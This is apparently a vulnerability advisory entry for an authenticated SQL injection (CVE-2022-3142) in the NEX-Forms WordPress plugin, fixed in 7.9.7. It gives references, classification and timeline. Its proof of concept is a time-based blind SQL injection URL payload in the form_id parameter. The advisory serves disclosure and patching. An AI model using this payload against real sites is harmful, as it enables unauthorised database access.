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NEX-Forms < 7.9.7 - Authenticated SQLi

Description

The plugin does not properly sanitise and escape user input before using it in SQL statements, leading to SQL injections. The attack can be executed by anyone who is permitted to view the forms statistics chart, by default administrators, however can be configured otherwise via the plugin settings.

Proof of Concept

https://example.com/wp-admin/admin.php?page=nex-forms-dashboard&form_id=1%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(5)))b)-- 

Affects Plugins

nex-forms-express-wp-form-builder
Fixed in version 7.9.7

References

CVE
CVE-2022-3142
URL
https://github.com/ehtec/nex-forms-exploit
URL
https://medium.com/@elias.hohl/authenticated-sql-injection-vulnerability-in-nex-forms-wordpress-plugin-35b8558dd0f5

Classification

Type

SQLI

OWASP top 10
A1: Injection
CWE
CWE-89

Miscellaneous

Original Researcher

Elias Hohl

Submitter

Elias Hohl

Submitter website
https://ehtec.co
Submitter twitter
EliasHohl
Verified

Yes

WPVDB ID
8acc0fc6-efe6-4662-b9ac-6342a7823328

Timeline

Publicly Published

2022-08-01 (about 6 months ago)

Added

2022-09-06 (about 4 months ago)

Last Updated

2022-09-06 (about 4 months ago)

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